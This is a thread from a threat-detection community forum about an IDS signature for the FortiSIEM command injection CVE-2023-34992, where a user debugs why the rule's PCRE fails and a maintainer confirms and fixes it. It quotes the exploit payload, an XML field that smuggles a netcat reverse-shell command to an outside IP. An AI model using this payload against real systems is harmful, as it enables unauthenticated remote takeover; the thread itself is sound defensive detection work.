# ET EXPLOIT Fortinet FortiSIEM Unauthenticated Command Injection CVE-2023-34992

**URL:** <https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671>\
**Category:** Rule Signatures\
**Created:** [May 29, 2024, 4:17pm UTC](https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671 "2024-05-29T16:17:43Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

**Author:** ![rampage](https://avatars.discourse-cdn.com/v4/letter/r/eb9ed0/32.png) [@rampage](https://community.emergingthreats.net/u/rampage)\
**Post date:** [May 29, 2024, 4:17pm UTC](https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671/1 "2024-05-29T16:17:43Z")

</div>

Hi,

Could you help me understand the pcre in SID:2052888?

Just looking at the content matches for the malicious XML payload, which are:  
content:“\<server\_ip”; nocase; fast\_pattern; pcre:“/^\b[^\>]\*\>[^\x3b\<]+\x3b[^\<]+\</server\_ip\>/Rsi”;

Which should detect the demonstrated payload:  
\<server\_ip\>127.0.0.1; nc -e /bin/sh 10.0.40.83 443; \</server\_ip\>

However, I am unable to trigger the alert with a test pcap. I think it’s because the pcre is relative to the content match “\<server\_ip”, leaving the detection cursor at the beginning of “\>127.0.0.1; nc -e /bin/sh 10.0.40.83 443; \</server\_ip\>” for the pcre, which can only start if there’s a string that begins with a word character (^\b), which it cannot because the first character it comes across is a “\>”.

This is actually the first time I have seen ^\b, I may misunderstand its intent. I am able to get the rule to trigger by changing the first content match, to “\<server\_i” for example, to leave a word character at the start for the pcre match.

Thank you.

---

<div class="post-metadata">

**Author:** ![James](https://avatars.discourse-cdn.com/v4/letter/j/bc8723/32.png) [@James](https://community.emergingthreats.net/u/James)\
**Post date:** [June 3, 2024, 4:02pm UTC](https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671/2 "2024-06-03T16:02:54Z")

</div>

Apologies for the late pickup on this.

You’re right, this was an oversight in my edits of a community submitted signature.

Changes to the PCRE were made to account for the closing of the XML parameter a few days back.

---

<div class="post-metadata">

**Author:** ![rgonzalez](https://avatars.discourse-cdn.com/v4/letter/r/bc79bd/32.png) [@rgonzalez](https://community.emergingthreats.net/u/rgonzalez)\
**Post date:** [June 3, 2024, 5:41pm UTC](https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671/3 "2024-06-03T17:41:31Z")

</div>

Thanks @rampage @James !

---

<div class="post-metadata">

**Author:** ![rampage](https://avatars.discourse-cdn.com/v4/letter/r/eb9ed0/32.png) [@rampage](https://community.emergingthreats.net/u/rampage)\
**Post date:** [June 3, 2024, 5:54pm UTC](https://community.emergingthreats.net/t/et-exploit-fortinet-fortisiem-unauthenticated-command-injection-cve-2023-34992/1671/4 "2024-06-03T17:54:25Z")

</div>

Thank you for the follow up @James.